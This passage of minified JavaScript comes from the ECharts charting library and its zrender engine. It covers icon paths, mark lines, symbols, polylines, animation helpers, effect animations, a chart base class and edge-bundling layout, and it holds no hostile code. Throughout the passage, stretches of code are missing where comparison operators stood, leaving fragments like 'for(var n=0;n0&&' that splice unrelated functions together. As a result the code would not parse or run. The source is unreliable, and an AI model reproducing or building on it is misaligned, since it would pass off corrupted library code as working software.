i=t.x,n=t.y,a=t.width-2,o=t.height-2,r=Math.min(a,o)/2;n+=2,e.moveTo(i+r+3,n+r-3),e.arc(i+r+3,n+r-3,r-1,0,-Math.PI/2,!0),e.lineTo(i+r+3,n+r-3),e.moveTo(i+r,n),e.lineTo(i+r,n+r),e.arc(i+r,n+r,r,-Math.PI/2,2*Math.PI,!0),e.lineTo(i+r,n+r),e.lineWidth=1.5}function m(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;n-=o,e.moveTo(i+1*a,n+2*o),e.lineTo(i+15*a,n+2*o),e.lineTo(i+14*a,n+3*o),e.lineTo(i+2*a,n+3*o),e.moveTo(i+3*a,n+6*o),e.lineTo(i+13*a,n+6*o),e.lineTo(i+12*a,n+7*o),e.lineTo(i+4*a,n+7*o),e.moveTo(i+5*a,n+10*o),e.lineTo(i+11*a,n+10*o),e.lineTo(i+10*a,n+11*o),e.lineTo(i+6*a,n+11*o),e.moveTo(i+7*a,n+14*o),e.lineTo(i+9*a,n+14*o),e.lineTo(i+8*a,n+15*o),e.lineTo(i+7*a,n+15*o)}function V(e,t){var i=t.x,n=t.y,a=t.width,o=t.height,r=a/16,s=o/16,l=2*Math.min(r,s);e.moveTo(i+r+l,n+s+l),e.arc(i+r,n+s,l,Math.PI/4,3*Math.PI),e.lineTo(i+7*r-l,n+6*s-l),e.arc(i+7*r,n+6*s,l,Math.PI/4*5,4*Math.PI),e.arc(i+7*r,n+6*s,l/2,Math.PI/4*5,4*Math.PI),e.moveTo(i+7*r-l/2,n+6*s+l),e.lineTo(i+r+l,n+14*s-l),e.arc(i+r,n+14*s,l,-Math.PI/4,2*Math.PI),e.moveTo(i+7*r+l/2,n+6*s),e.lineTo(i+14*r-l,n+10*s-l/2),e.moveTo(i+16*r,n+10*s),e.arc(i+14*r,n+10*s,l,0,3*Math.PI),e.lineWidth=1.5}function U(e,t){var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.min(a,o)/2;e.moveTo(i+a,n+o/2),e.arc(i+r,n+r,r,0,2*Math.PI),e.arc(i+r,n,r,Math.PI/4,Math.PI/5*4),e.arc(i,n+r,r,-Math.PI/3,Math.PI/3),e.arc(i+a,n+o,r,Math.PI,Math.PI/2*3),e.lineWidth=1.5}function d(e,t){for(var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.round(o/3),s=Math.round((r-2)/2),l=3;l--;)e.rect(i,n+r*l+s,a,2)}function p(e,t){for(var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.round(a/3),s=Math.round((r-2)/2),l=3;l--;)e.rect(i+r*l+s,n,2,o)}function c(e,t){var i=t.x,n=t.y,a=t.width/16;e.moveTo(i+a,n),e.lineTo(i+a,n+t.height),e.lineTo(i+15*a,n+t.height),e.lineTo(i+15*a,n),e.lineTo(i+a,n),e.moveTo(i+3*a,n+3*a),e.lineTo(i+13*a,n+3*a),e.moveTo(i+3*a,n+6*a),e.lineTo(i+13*a,n+6*a),e.moveTo(i+3*a,n+9*a),e.lineTo(i+13*a,n+9*a),e.moveTo(i+3*a,n+12*a),e.lineTo(i+9*a,n+12*a)}function u(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.lineTo(i+t.width,n),e.lineTo(i,n),e.moveTo(i+4*a,n),e.lineTo(i+4*a,n+8*o),e.lineTo(i+12*a,n+8*o),e.lineTo(i+12*a,n),e.moveTo(i+6*a,n+11*o),e.lineTo(i+6*a,n+13*o),e.lineTo(i+10*a,n+13*o),e.lineTo(i+10*a,n+11*o),e.lineTo(i+6*a,n+11*o)}function y(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;e.moveTo(i,n+o/2),e.lineTo(i+a,n+o/2),e.moveTo(i+a/2,n),e.lineTo(i+a/2,n+o)}function g(e,t){var i=t.width/2,n=t.height/2,a=Math.min(i,n);e.moveTo(t.x+i+a,t.y+n),e.arc(t.x+i,t.y+n,a,0,2*Math.PI),e.closePath()}function b(e,t){e.rect(t.x,t.y,t.width,t.height),e.closePath()}function f(e,t){var i=t.width/2,n=t.height/2,a=t.x+i,o=t.y+n,r=Math.min(i,n);e.moveTo(a,o-r),e.lineTo(a+r,o+r),e.lineTo(a-r,o+r),e.lineTo(a,o-r),e.closePath()}function k(e,t){var i=t.width/2,n=t.height/2,a=t.x+i,o=t.y+n,r=Math.min(i,n);e.moveTo(a,o-r),e.lineTo(a+r,o),e.lineTo(a,o+r),e.lineTo(a-r,o),e.lineTo(a,o-r),e.closePath()}function x(e,t){var i=t.x,n=t.y,a=t.width/16;e.moveTo(i+8*a,n),e.lineTo(i+a,n+t.height),e.lineTo(i+8*a,n+t.height/4*3),e.lineTo(i+15*a,n+t.height),e.lineTo(i+8*a,n),e.closePath()}function _(t,i){var n=e("zrender/shape/Star"),a=i.width/2,o=i.height/2;n.prototype.buildPath(t,{x:i.x+a,y:i.y+o,r:Math.min(a,o),n:i.n||5})}function L(t,i){var n=e("zrender/shape/Heart");n.prototype.buildPath(t,{x:i.x+i.width/2,y:i.y+.2*i.height,a:i.width/2,b:.8*i.height})}function W(t,i){var n=e("zrender/shape/Droplet");n.prototype.buildPath(t,{x:i.x+.5*i.width,y:i.y+.5*i.height,a:.5*i.width,b:.8*i.height})}function X(e,t){var i=t.x,n=t.y-t.height/2*1.5,a=t.width/2,o=t.height/2,r=Math.min(a,o);e.arc(i+a,n+o,r,Math.PI/5*4,Math.PI/5),e.lineTo(i+a,n+o+1.5*r),e.closePath()}function v(t,i,n){var a=e("zrender/shape/Image");this._imageShape=this._imageShape||new a({style:{}});for(var o in i)this._imageShape.style[o]=i[o];this._imageShape.brush(t,!1,n)}function w(e){I.call(this,e)}var K=e("zrender/tool/util"),I=e("zrender/shape/Base");return w.prototype={type:"icon",iconLibrary:{mark:t,markUndo:i,markClear:n,dataZoom:a,dataZoomReset:o,restore:r,lineChart:s,barChart:l,pieChart:h,funnelChart:m,forceChart:V,chordChart:U,stackChart:d,tiledChart:p,dataView:c,saveAsImage:u,cross:y,circle:g,rectangle:b,triangle:f,diamond:k,arrow:x,star:_,heart:L,droplet:W,pin:X,image:v},brush:function(t,i,n){var a=i?this.highlightStyle:this.style;a=a||{};var o=a.iconType||this.style.iconType;if("image"===o){var r=e("zrender/shape/Image");r.prototype.brush.call(this,t,i,n)}else{var a=this.beforeBrush(t,i);switch(t.beginPath(),this.buildPath(t,a,n),a.brushType){case"both":t.fill();case"stroke":a.lineWidth>0&&t.stroke();break;default:t.fill()}this.drawText(t,a,this.style),this.afterBrush(t)}},buildPath:function(e,t,i){this.iconLibrary[t.iconType]?this.iconLibrary[t.iconType].call(this,e,t,i):(e.moveTo(t.x,t.y),e.lineTo(t.x+t.width,t.y),e.lineTo(t.x+t.width,t.y+t.height),e.lineTo(t.x,t.y+t.height),e.lineTo(t.x,t.y),e.closePath())},getRect:function(e){return e.__rect?e.__rect:(e.__rect={x:Math.round(e.x),y:Math.round(e.y-("pin"==e.iconType?e.height/2*1.5:0)),width:e.width,height:e.height*("pin"===e.iconType?1.25:1)},e.__rect)},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);e=i[0],t=i[1];var n=this.style.__rect;n||(n=this.style.__rect=this.getRect(this.style));var a=n.height<8||n.width<8?4:0;return e>=n.x-a&&e<=n.x+n.width+a&&t>=n.y-a&&t<=n.y+n.height+a}},K.inherits(w,I),w}),i("echarts/util/shape/MarkLine",["require","zrender/shape/Base","./Icon","zrender/shape/Line","zrender/shape/BezierCurve","zrender/tool/area","zrender/shape/util/dashedLineTo","zrender/tool/util","zrender/tool/curve"],function(e){function t(e){i.call(this,e),this.style.curveness>0&&this.updatePoints(this.style),this.highlightStyle.curveness>0&&this.updatePoints(this.highlightStyle)}var i=e("zrender/shape/Base"),n=e("./Icon"),a=e("zrender/shape/Line"),o=new a({}),r=e("zrender/shape/BezierCurve"),s=new r({}),l=e("zrender/tool/area"),h=e("zrender/shape/util/dashedLineTo"),m=e("zrender/tool/util"),V=e("zrender/tool/curve");return t.prototype={type:"mark-line",brush:function(e,t){var i=this.style;t&&(i=this.getHighlightStyle(i,this.highlightStyle||{})),e.save(),this.setContext(e,i),this.setTransform(e),e.save(),e.beginPath(),this.buildPath(e,i),e.stroke(),e.restore(),this.brushSymbol(e,i,0),this.brushSymbol(e,i,1),this.drawText(e,i,this.style),e.restore()},buildPath:function(e,t){var i=t.lineType||"solid";if(e.moveTo(t.xStart,t.yStart),t.curveness>0){var n=null;switch(i){case"dashed":n=[5,5];break;case"dotted":n=[1,1]}n&&e.setLineDash&&e.setLineDash(n),e.quadraticCurveTo(t.cpX1,t.cpY1,t.xEnd,t.yEnd)}else if("solid"==i)e.lineTo(t.xEnd,t.yEnd);else{var a=(t.lineWidth||1)*("dashed"==t.lineType?5:1);h(e,t.xStart,t.yStart,t.xEnd,t.yEnd,a)}},updatePoints:function(e){var t=e.curveness||0,i=1,n=e.xStart,a=e.yStart,o=e.xEnd,r=e.yEnd,s=(n+o)/2-i*(a-r)*t,l=(a+r)/2-i*(o-n)*t;e.cpX1=s,e.cpY1=l},brushSymbol:function(e,t,i){if("none"!=t.symbol[i]){e.save(),e.beginPath(),e.lineWidth=t.symbolBorder,e.strokeStyle=t.symbolBorderColor;var a=t.symbol[i].replace("empty","").toLowerCase();t.symbol[i].match("empty")&&(e.fillStyle="#fff");var o=t.xStart,r=t.yStart,s=t.xEnd,l=t.yEnd,h=0===i?o:s,m=0===i?r:l,U=t.curveness||0,d=null!=t.symbolRotate[i]?t.symbolRotate[i]-0:0;if(d=d/180*Math.PI,"arrow"==a&&0===d)if(0===U){var p=0===i?-1:1;d=Math.PI/2+Math.atan2(p*(l-r),p*(s-o))}else{var c=t.cpX1,u=t.cpY1,y=V.quadraticDerivativeAt,g=y(o,c,s,i),b=y(r,u,l,i);d=Math.PI/2+Math.atan2(b,g)}e.translate(h,m),0!==d&&e.rotate(d);var f=t.symbolSize[i];n.prototype.buildPath(e,{x:-f,y:-f,width:2*f,height:2*f,iconType:a}),e.closePath(),e.fill(),e.stroke(),e.restore()}},getRect:function(e){return e.curveness>0?s.getRect(e):o.getRect(e),e.__rect},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);return e=i[0],t=i[1],this.isCoverRect(e,t)?this.style.curveness>0?l.isInside(s,this.style,e,t):l.isInside(o,this.style,e,t):!1}},m.inherits(t,i),t}),i("echarts/util/shape/Symbol",["require","zrender/shape/Base","zrender/shape/Polygon","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Polygon"),a=new n({}),o=e("zrender/tool/util");return t.prototype={type:"symbol",buildPath:function(e,t){var i=t.pointList,n=i.length;if(0!==n)for(var a,o,r,s,l,h=1e4,m=Math.ceil(n/h),V=i[0]instanceof Array,U=t.size?t.size:2,d=U,p=U/2,c=2*Math.PI,u=0;m>u;u++){e.beginPath(),a=u*h,o=a+h,o=o>n?n:o;for(var y=a;o>y;y++)if(t.random&&(r=t["randomMap"+y%20]/100,d=U*r*r,p=d/2),V?(s=i[y][0],l=i[y][1]):(s=i[y].x,l=i[y].y),3>d)e.rect(s-p,l-p,d,d);else switch(t.iconType){case"circle":e.moveTo(s,l),e.arc(s,l,p,0,c,!0);break;case"diamond":e.moveTo(s,l-p),e.lineTo(s+p/3,l-p/3),e.lineTo(s+p,l),e.lineTo(s+p/3,l+p/3),e.lineTo(s,l+p),e.lineTo(s-p/3,l+p/3),e.lineTo(s-p,l),e.lineTo(s-p/3,l-p/3),e.lineTo(s,l-p);break;default:e.rect(s-p,l-p,d,d)}if(e.closePath(),m-1>u)switch(t.brushType){case"both":e.fill(),t.lineWidth>0&&e.stroke();break;case"stroke":t.lineWidth>0&&e.stroke();break;default:e.fill()}}},getRect:function(e){return e.__rect||a.getRect(e)},isCover:e("./normalIsCover")},o.inherits(t,i),t}),i("zrender/shape/Polyline",["require","./Base","./util/smoothSpline","./util/smoothBezier","./util/dashedLineTo","./Polygon","../tool/util"],function(e){var t=e("./Base"),i=e("./util/smoothSpline"),n=e("./util/smoothBezier"),a=e("./util/dashedLineTo"),o=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return o.prototype={type:"polyline",buildPath:function(e,t){var n=t.pointList;if(!(n.length<2)){var o=Math.min(t.pointList.length,Math.round(t.pointListLength||t.pointList.length));if(t.smooth&&"spline"!==t.smooth){t.controlPointList||this.updateControlPoints(t);var r=t.controlPointList;e.moveTo(n[0][0],n[0][1]);for(var s,l,h,m=0;o-1>m;m++)s=r[2*m],l=r[2*m+1],h=n[m+1],e.bezierCurveTo(s[0],s[1],l[0],l[1],h[0],h[1])}else if("spline"===t.smooth&&(n=i(n),o=n.length),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var V=(t.lineWidth||1)*("dashed"==t.lineType?5:1);e.moveTo(n[0][0],n[0][1]);for(var m=1;o>m;m++)a(e,n[m-1][0],n[m-1][1],n[m][0],n[m][1],V)}}else{e.moveTo(n[0][0],n[0][1]);for(var m=1;o>m;m++)e.lineTo(n[m][0],n[m][1])}}},updateControlPoints:function(e){e.controlPointList=n(e.pointList,e.smooth,!1,e.smoothConstraint)},getRect:function(t){return e("./Polygon").prototype.getRect(t)}},e("../tool/util").inherits(o,t),o}),i("zrender/shape/ShapeBundle",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={constructor:i,type:"shape-bundle",brush:function(e,t){var i=this.beforeBrush(e,t);e.beginPath();for(var n=0;n0&&e.stroke();break;default:e.fill()}this.drawText(e,i,this.style),this.afterBrush(e)},getRect:function(e){if(e.__rect)return e.__rect;for(var t=1/0,i=-(1/0),n=1/0,a=-(1/0),o=0;oh;h++)o[h]=[r[h][0],l];else for(var m=r[0][0],h=0;s>h;h++)o[h]=[m,r[h][1]];"half-smooth-polygon"==i.type&&(o[s-1]=p.clone(r[s-1]),o[s-2]=p.clone(r[s-2])),t={style:{pointList:o}}}o=t.style.pointList;var V=o.length;i.style.pointList=V==s?o:s>V?o.concat(r.slice(V)):o.slice(0,s),e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{pointList:r}).during(function(){i.updateControlPoints&&i.updateControlPoints(i.style)}).done(function(){i.__animating=!1}).start(a)}function i(e,t){for(var i=arguments.length,n=2;i>n;n++){var a=arguments[n];e.style[a]=t.style[a]}}function n(e,t,n,a,o){var r=n.style;t||(t={position:n.position,style:{x:r.x,y:"vertical"==n._orient?r.y+r.height:r.y,width:"vertical"==n._orient?r.width:0,height:"vertical"!=n._orient?r.height:0}});var s=r.x,l=r.y,h=r.width,m=r.height,V=[n.position[0],n.position[1]];i(n,t,"x","y","width","height"),n.position=t.position,e.addShape(n),(V[0]!=t.position[0]||V[1]!=t.position[1])&&e.animate(n.id,"").when(a,{position:V}).start(o),n.__animating=!0,e.animate(n.id,"style").when(a,{x:s,y:l,width:h,height:m}).done(function(){n.__animating=!1}).start(o)}function a(e,t,i,n,a){if(!t){var o=i.style.y;t={style:{y:[o[0],o[0],o[0],o[0]]}}}var r=i.style.y;i.style.y=t.style.y,e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{y:r}).done(function(){i.__animating=!1}).start(a)}function o(e,t,i,n,a){var o=i.style.x,r=i.style.y,s=i.style.r0,l=i.style.r;i.__animating=!0,"r"!=i._animationAdd?(i.style.r0=0,i.style.r=0,i.rotation=[2*Math.PI,o,r],e.addShape(i),e.animate(i.id,"style").when(n,{r0:s,r:l}).done(function(){i.__animating=!1}).start(a),e.animate(i.id,"").when(n,{rotation:[0,o,r]}).start(a)):(i.style.r0=i.style.r,e.addShape(i),e.animate(i.id,"style").when(n,{r0:s}).done(function(){i.__animating=!1}).start(a))}function r(e,t,n,a,o){t||(t="r"!=n._animationAdd?{ +style:{startAngle:n.style.startAngle,endAngle:n.style.startAngle}}:{style:{r0:n.style.r}});var r=n.style.startAngle,s=n.style.endAngle;i(n,t,"startAngle","endAngle"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{startAngle:r,endAngle:s}).done(function(){n.__animating=!1}).start(o)}function s(e,t,n,a,o){t||(t={style:{x:"left"==n.style.textAlign?n.style.x+100:n.style.x-100,y:n.style.y}});var r=n.style.x,s=n.style.y;i(n,t,"x","y"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{x:r,y:s}).done(function(){n.__animating=!1}).start(o)}function l(t,i,n,a,o){var r=e("zrender/shape/Polygon").prototype.getRect(n.style),s=r.x+r.width/2,l=r.y+r.height/2;n.scale=[.1,.1,s,l],t.addShape(n),n.__animating=!0,t.animate(n.id,"").when(a,{scale:[1,1,s,l]}).done(function(){n.__animating=!1}).start(o)}function h(e,t,n,a,o){t||(t={style:{source0:0,source1:n.style.source1>0?360:-360,target0:0,target1:n.style.target1>0?360:-360}});var r=n.style.source0,s=n.style.source1,l=n.style.target0,h=n.style.target1;t.style&&i(n,t,"source0","source1","target0","target1"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{source0:r,source1:s,target0:l,target1:h}).done(function(){n.__animating=!1}).start(o)}function m(e,t,i,n,a){t||(t={style:{angle:i.style.startAngle}});var o=i.style.angle;i.style.angle=t.style.angle,e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{angle:o}).done(function(){i.__animating=!1}).start(a)}function V(e,t,i,a,o,r){if(i.style._x=i.style.x,i.style._y=i.style.y,i.style._width=i.style.width,i.style._height=i.style.height,t)n(e,t,i,a,o);else{var s=i._x||0,l=i._y||0;i.scale=[.01,.01,s,l],e.addShape(i),i.__animating=!0,e.animate(i.id,"").delay(r).when(a,{scale:[1,1,s,l]}).done(function(){i.__animating=!1}).start(o||"QuinticOut")}}function U(e,t,n,a,o){t||(t={style:{xStart:n.style.xStart,yStart:n.style.yStart,xEnd:n.style.xStart,yEnd:n.style.yStart}});var r=n.style.xStart,s=n.style.xEnd,l=n.style.yStart,h=n.style.yEnd;i(n,t,"xStart","xEnd","yStart","yEnd"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{xStart:r,xEnd:s,yStart:l,yEnd:h}).done(function(){n.__animating=!1}).start(o)}function d(e,t,i,n,a){a=a||"QuinticOut",i.__animating=!0,e.addShape(i);var o=i.style,r=function(){i.__animating=!1},s=o.xStart,l=o.yStart,h=o.xEnd,m=o.yEnd;if(o.curveness>0){i.updatePoints(o);var V={p:0},U=o.cpX1,d=o.cpY1,p=[],u=[],y=c.quadraticSubdivide;e.animation.animate(V).when(n,{p:1}).during(function(){y(s,U,h,V.p,p),y(l,d,m,V.p,u),o.cpX1=p[1],o.cpY1=u[1],o.xEnd=p[2],o.yEnd=u[2],e.modShape(i)}).done(r).start(a)}else e.animate(i.id,"style").when(0,{xEnd:s,yEnd:l}).when(n,{xEnd:h,yEnd:m}).done(r).start(a)}var p=e("zrender/tool/util"),c=e("zrender/tool/curve");return{pointList:t,rectangle:n,candle:a,ring:o,sector:r,text:s,polygon:l,ribbon:h,gaugePointer:m,icon:V,line:U,markline:d}}),i("echarts/util/ecEffect",["require","../util/ecData","zrender/shape/Circle","zrender/shape/Image","zrender/tool/curve","../util/shape/Icon","../util/shape/Symbol","zrender/shape/ShapeBundle","zrender/shape/Polyline","zrender/tool/vector","zrender/tool/env"],function(e){function t(e,t,i,n){var a,r=i.effect,l=r.color||i.style.strokeColor||i.style.color,m=r.shadowColor||l,V=r.scaleSize,U=r.bounceDistance,d="undefined"!=typeof r.shadowBlur?r.shadowBlur:V;"image"!==i.type?(a=new h({zlevel:n,style:{brushType:"stroke",iconType:"droplet"!=i.style.iconType?i.style.iconType:"circle",x:d+1,y:d+1,n:i.style.n,width:i.style._width*V,height:i.style._height*V,lineWidth:1,strokeColor:l,shadowColor:m,shadowBlur:d},draggable:!1,hoverable:!1}),"pin"==i.style.iconType&&(a.style.y+=a.style.height/2*1.5),p&&(a.style.image=e.shapeToImage(a,a.style.width+2*d+2,a.style.height+2*d+2).style.image,a=new s({zlevel:a.zlevel,style:a.style,draggable:!1,hoverable:!1}))):a=new s({zlevel:n,style:i.style,draggable:!1,hoverable:!1}),o.clone(i,a),a.position=i.position,t.push(a),e.addShape(a);var c="image"!==i.type?window.devicePixelRatio||1:1,u=(a.style.width/c-i.style._width)/2;a.style.x=i.style._x-u,a.style.y=i.style._y-u,"pin"==i.style.iconType&&(a.style.y-=i.style.height/2*1.5);var y=100*(r.period+10*Math.random());e.modShape(i.id,{invisible:!0});var g=a.style.x+a.style.width/2/c,b=a.style.y+a.style.height/2/c;"scale"===r.type?(e.modShape(a.id,{scale:[.1,.1,g,b]}),e.animate(a.id,"",r.loop).when(y,{scale:[1,1,g,b]}).done(function(){i.effect.show=!1,e.delShape(a.id)}).start()):e.animate(a.id,"style",r.loop).when(y,{y:a.style.y-U}).when(2*y,{y:a.style.y}).done(function(){i.effect.show=!1,e.delShape(a.id)}).start()}function i(e,t,i,n){var a=i.effect,o=a.color||i.style.strokeColor||i.style.color,r=a.scaleSize,s=a.shadowColor||o,l="undefined"!=typeof a.shadowBlur?a.shadowBlur:2*r,h=window.devicePixelRatio||1,V=new m({zlevel:n,position:i.position,scale:i.scale,style:{pointList:i.style.pointList,iconType:i.style.iconType,color:o,strokeColor:o,shadowColor:s,shadowBlur:l*h,random:!0,brushType:"fill",lineWidth:1,size:i.style.size},draggable:!1,hoverable:!1});t.push(V),e.addShape(V),e.modShape(i.id,{invisible:!0});for(var U=Math.round(100*a.period),d={},p={},c=0;20>c;c++)V.style["randomMap"+c]=0,d={},d["randomMap"+c]=100,p={},p["randomMap"+c]=0,V.style["randomMap"+c]=100*Math.random(),e.animate(V.id,"style",!0).when(U,d).when(2*U,p).when(3*U,d).when(4*U,d).delay(Math.random()*U*c).start()}function n(e,t,i,n,a){var s=i.effect,h=i.style,m=s.color||h.strokeColor||h.color,V=s.shadowColor||h.strokeColor||m,c=h.lineWidth*s.scaleSize,u="undefined"!=typeof s.shadowBlur?s.shadowBlur:c,y=new r({zlevel:n,style:{x:u,y:u,r:c,color:m,shadowColor:V,shadowBlur:u},hoverable:!1}),g=0;if(p&&!a){var n=y.zlevel;y=e.shapeToImage(y,2*(c+u),2*(c+u)),y.zlevel=n,y.hoverable=!1,g=u}a||(o.clone(i,y),y.position=i.position,t.push(y),e.addShape(y));var b=function(){a||(i.effect.show=!1,e.delShape(y.id)),y.effectAnimator=null};if(i instanceof U){for(var f=[0],k=0,x=h.pointList,_=h.controlPointList,L=1;L0){var F=h.cpX1-g,T=h.cpY1-g;y.effectAnimator=e.animation.animate(y,{loop:s.loop}).when(E,{p:1}).during(function(t,i){y.style.x=l.quadraticAt(K,F,J,i),y.style.y=l.quadraticAt(I,T,C,i),a||e.modShape(y)}).done(b).start()}else y.effectAnimator=e.animation.animate(y.style,{loop:s.loop}).when(E,{x:J,y:C}).during(function(){a||e.modShape(y)}).done(b).start();y.effectAnimator.duration=E}return y}function a(e,t,i,a){var o=new V({style:{shapeList:[]},zlevel:a,hoverable:!1}),r=i.style.shapeList,s=i.effect;o.position=i.position;for(var l=0,h=[],m=0;ml&&(l=d.duration),0===m&&(o.style.color=U.style.color,o.style.shadowBlur=U.style.shadowBlur,o.style.shadowColor=U.style.shadowColor),h.push(d)}t.push(o),e.addShape(o);var p=function(){for(var e=0;e=0;o--)t=s.type==i.CHART_TYPE_PIE||s.type==i.CHART_TYPE_FUNNEL?n.get(s.shapeList[o],"name"):(n.get(s.shapeList[o],"series")||{}).name,t!=a||s.shapeList[o].invisible||s.shapeList[o].__animating||s.zr.addHoverShape(s.shapeList[o])},t&&t.bind(i.EVENT.LEGEND_HOVERLINK,this._onlegendhoverlink)}var i=e("../config"),n=e("../util/ecData"),a=e("../util/ecQuery"),o=e("../util/number"),r=e("zrender/tool/util");return t.prototype={canvasSupported:e("zrender/tool/env").canvasSupported,_getZ:function(e){if(null!=this[e])return this[e];var t=this.ecTheme[this.type];return t&&null!=t[e]?t[e]:(t=i[this.type],t&&null!=t[e]?t[e]:0)},getZlevelBase:function(){return this._getZ("zlevel")},getZBase:function(){return this._getZ("z")},reformOption:function(e){return e=r.merge(r.merge(e||{},r.clone(this.ecTheme[this.type]||{})),r.clone(i[this.type]||{})),this.z=e.z,this.zlevel=e.zlevel,e},reformCssArray:function(e){if(!(e instanceof Array))return[e,e,e,e];switch(e.length+""){case"4":return e;case"3":return[e[0],e[1],e[2],e[1]];case"2":return[e[0],e[1],e[0],e[1]];case"1":return[e[0],e[0],e[0],e[0]];case"0":return[0,0,0,0]}},getShapeById:function(e){for(var t=0,i=this.shapeList.length;i>t;t++)if(this.shapeList[t].id===e)return this.shapeList[t];return null},getFont:function(e){var t=this.getTextStyle(r.clone(e));return t.fontStyle+" "+t.fontWeight+" "+t.fontSize+"px "+t.fontFamily},getTextStyle:function(e){return r.merge(r.merge(e||{},this.ecTheme.textStyle),i.textStyle)},getItemStyleColor:function(e,t,i,n){return"function"==typeof e?e.call(this.myChart,{seriesIndex:t,series:this.series[t],dataIndex:i,data:n}):e},getDataFromOption:function(e,t){return null!=e?null!=e.value?e.value:e:t},subPixelOptimize:function(e,t){return e=t%2===1?Math.floor(e)+.5:Math.round(e)},resize:function(){this.refresh&&this.refresh(),this.clearEffectShape&&this.clearEffectShape(!0);var e=this;setTimeout(function(){e.animationEffect&&e.animationEffect()},200)},clear:function(){this.clearEffectShape&&this.clearEffectShape(),this.zr&&this.zr.delShape(this.shapeList),this.shapeList=[]},dispose:function(){this.onbeforDispose&&this.onbeforDispose(),this.clear(),this.shapeList=null,this.effectList=null,this.messageCenter&&this.messageCenter.unbind(i.EVENT.LEGEND_HOVERLINK,this._onlegendhoverlink),this.onafterDispose&&this.onafterDispose()},query:a.query,deepQuery:a.deepQuery,deepMerge:a.deepMerge,parsePercent:o.parsePercent,parseCenter:o.parseCenter,parseRadius:o.parseRadius,numAddCommas:o.addCommas,getPrecision:o.getPrecision},t}),i("echarts/layout/EdgeBundling",["require","../data/KDTree","zrender/tool/vector"],function(e){function t(e,t){e=e.array,t=t.array;var i=t[0]-e[0],n=t[1]-e[1],a=t[2]-e[2],o=t[3]-e[3];return i*i+n*n+a*a+o*o}function i(e){this.points=[e.mp0,e.mp1],this.group=e}function n(e){var t=e.points;t[0][1]0&&t(e[o],n[a-1])||(n[a++]=U(e[o]));return i[0]&&!t(n[0],i[0])&&(n=n.reverse()),n}for(var a=this._iterate(e),o=0;o++f&&(f=W,k=L,V(g,c),V(y,p),b=u)}if(k){s+=f;var X;k.group||(X=new a,o.push(X),X.addEdge(k)),X=k.group,V(X.mp0,y),V(X.mp1,g),X.ink=b,k.group.addEdge(m)}else{var X=new a;o.push(X),V(X.mp0,m.getStartPoint()),V(X.mp1,m.getEndPoint()),X.ink=m.ink,X.addEdge(m)}}}return{groups:o,edges:i,savedInk:s}},_calculateEdgeEdgeInk:function(){var e=[],t=[];return function(i,n,a,o){e[0]=i.getStartPoint(),e[1]=n.getStartPoint(),t[0]=i.getEndPoint(),t[1]=n.getEndPoint(),this._calculateMeetPoints(e,t,a,o);var r=m(e[0],a)+m(a,o)+m(o,t[0])+m(e[1],a)+m(o,t[1]);return r}}(),_calculateGroupEdgeInk:function(e,t,i,n){for(var a=[],o=[],r=0;rl;l++)s.add(e,e,i[l]);s.scale(e,e,1/r),r=n.length;for(var l=0;r>l;l++)s.add(t,t,n[l]);s.scale(t,t,1/r),this._limitTurningAngle(i,e,t,a),this._limitTurningAngle(n,t,e,o)}}(),_limitTurningAngle:function(){var e=l(),t=l(),i=l(),n=l();return function(a,o,r,l){var V=Math.cos(this.maxTurningAngle),U=Math.tan(this.maxTurningAngle);s.sub(e,o,r),s.normalize(e,e),s.copy(l,o);for(var d=0,p=0;py){s.scaleAndAdd(i,o,e,u*y);var g=m(i,c),b=g/U;s.scaleAndAdd(n,i,e,-b);var f=h(n,o);f>d&&(d=f,s.copy(l,n))}}}}()},o}),i("zrender/shape/Star",["require","../tool/math","./Base","../tool/util"],function(e){var t=e("../tool/math"),i=t.sin,n=t.cos,a=Math.PI,o=e("./Base"),r=function(e){o.call(this,e)};return r.prototype={type:"star",buildPath:function(e,t){var o=t.n;if(o&&!(2>o)){var r=t.x,s=t.y,l=t.r,h=t.r0;null==h&&(h=o>4?l*n(2*a/o)/n(a/o):l/3);var m=a/o,V=-a/2,U=r+l*n(V),d=s+l*i(V);V+=m;var p=t.pointList=[];p.push([U,d]);for(var c,u=0,y=2*o-1;y>u;u++)c=u%2===0?h:l,p.push([r+c*n(V),s+c*i(V)]),V+=m;p.push([U,d]),e.moveTo(p[0][0],p[0][1]);for(var u=0;ur;r+=2)e[0]=Math.min(e[0],e[0],o[r]),e[1]=Math.min(e[1],e[1],o[r+1]),i[0]=Math.max(i[0],i[0],o[r]),i[1]=Math.max(i[1],i[1],o[r+1]);break;case"Q":for(var r=0;4>r;r+=2)e[0]=Math.min(e[0],e[0],o[r]),e[1]=Math.min(e[1],e[1],o[r+1]),i[0]=Math.max(i[0],i[0],o[r]),i[1]=Math.max(i[1],i[1],o[r+1]);break;case"A":var s=o[0],l=o[1],h=o[2],m=o[3];e[0]=Math.min(e[0],e[0],s-h),e[1]=Math.min(e[1],e[1],l-m),i[0]=Math.max(i[0],i[0],s+h),i[1]=Math.max(i[1],i[1],l+m)}}return{x:e[0],y:e[1],width:i[0]-e[0],height:i[1]-e[1]}},n.prototype.begin=function(e){return this._ctx=e||null,this.pathCommands.length=0,this},n.prototype.moveTo=function(e,t){return this.pathCommands.push(new i("M",[e,t])),this._ctx&&this._ctx.moveTo(e,t),this},n.prototype.lineTo=function(e,t){return 